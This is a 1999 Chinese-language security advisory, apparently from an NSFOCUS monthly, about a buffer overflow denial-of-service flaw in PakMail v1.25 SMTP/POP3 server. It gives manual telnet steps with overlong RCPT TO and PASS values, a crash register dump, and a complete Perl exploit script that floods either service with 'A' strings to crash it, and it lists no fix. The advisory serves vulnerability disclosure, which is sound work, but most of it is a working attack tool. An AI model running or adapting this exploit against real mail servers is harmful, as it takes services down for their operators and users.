绿盟安全月刊->第4期->最新漏洞 PakMail SMTP/POP3 Server的拒绝服务漏洞

日期：1999-12-14

漏洞类型：远程、本地   
  
发布日期：1999-12-06   
更新日期：1999-12-06   
  
影响系统：   
PakMail v1.25 SMTP/POP3 Server   
  
漏洞描述：   
  
Rewted Network Security Labs发现PakMail SMTP and POP3中存在本地/远程拒绝服务漏洞。
溢出产生的原因是在“RCPT TO:”时使用了超长的用户名。   
  
举例:   
  
telnet localhost 25   
220 jedi PakMail Mail Server ready at Sun, 05 Dec 99   
mail from: test@localhost   
250 test@localhost Sender Ok   
rcpt to: $buffer@localhost   
  
buffer大于1390个字符时，服务将停止。   
  
错误提示如下：   
PAKMAIL caused an invalid page fault in   
module KERNEL32.DLL at 0137:bff9a5d0.   
Registers:   
EAX=c001743c CS=0137 EIP=bff9a5d0 EFLGS=00010212   
EBX=0159ffb8 SS=013f ESP=0149ff38 EBP=014a01d4   
ECX=00000000 DS=013f ESI=00000000 FS=4717   
EDX=bff7678c ES=013f EDI=bffb8e70 GS=0000   
Bytes at CS:EIP:   
53 8b 15 7c c2 fb bf 56 89 4d e4 57 89 4d dc 89   
Stack dump:   
  
同样，pop3在输入的密码为1400个字符时，产生溢出。   
举例：   
telnet localhost 110   
+OK PakMail on (jedi) at (Sun, 05 Dec 99)   
user test   
+OK   
pass $buffer   
  
程序将终止   
  
  
检验程序：   
#!/usr/bin/perl   
  
################################################   
# Rewted Network Security Labs www.rewted.org #   
# #   
# Exploits a buffer overrun on PakMail #   
# SMTP and POP3 servers. #   
# Vulnerable version 1.25 and probably below. #   
# Vendor: www.pak.net #   
# #   
# Exploited by slackee warminx@null.rewted.org #   
################################################   
  
use IO::Socket;   
use Getopt::Std;   
getopts(''h:t'', \%args);   
if(!defined($args{h}) && !defined($args{t})) {   
print qq~Rewted Network Security Labs www.rewted.org\nUsage: $0 -h -t   
  
-h hostname to test bof   
-t server type to DoS (1 = SMTP)   
(2 = POP3)   
  
~; exit; }   
if(defined($args{h}) && defined($args{t})){   
if(($args{t}) == 1) { &pakmail; }   
if(($args{t}) == 2) { &pakpop; }}   
  
sub pakmail {   
$victim=$args{h};   
$denial .= "A" x 1390;   
$socket = IO::Socket::INET->new (Proto => "tcp",   
PeerAddr => $victim,   
PeerPort => "25") or die "Can''t connect.\n";   
print $socket "MAIL FROM: test\@localhost\n";   
print $socket "RCPT TO: $denial\@localhost\n";   
print "\nSent overflow to $victim\n";   
close $socket; }   
  
sub pakpop {   
$victim=$args{h};   
$denial .= "A" x 1400;   
$socket = IO::Socket::INET->new (Proto => "tcp",   
PeerAddr => $victim,   
PeerPort => "110") or die "Can''t connect.\n";   
print $socket "user test\n";   
print $socket "pass $denial\n";   
print "\nSent overflow to $victim\n";   
close $socket; }   
  
解决办法：   
暂无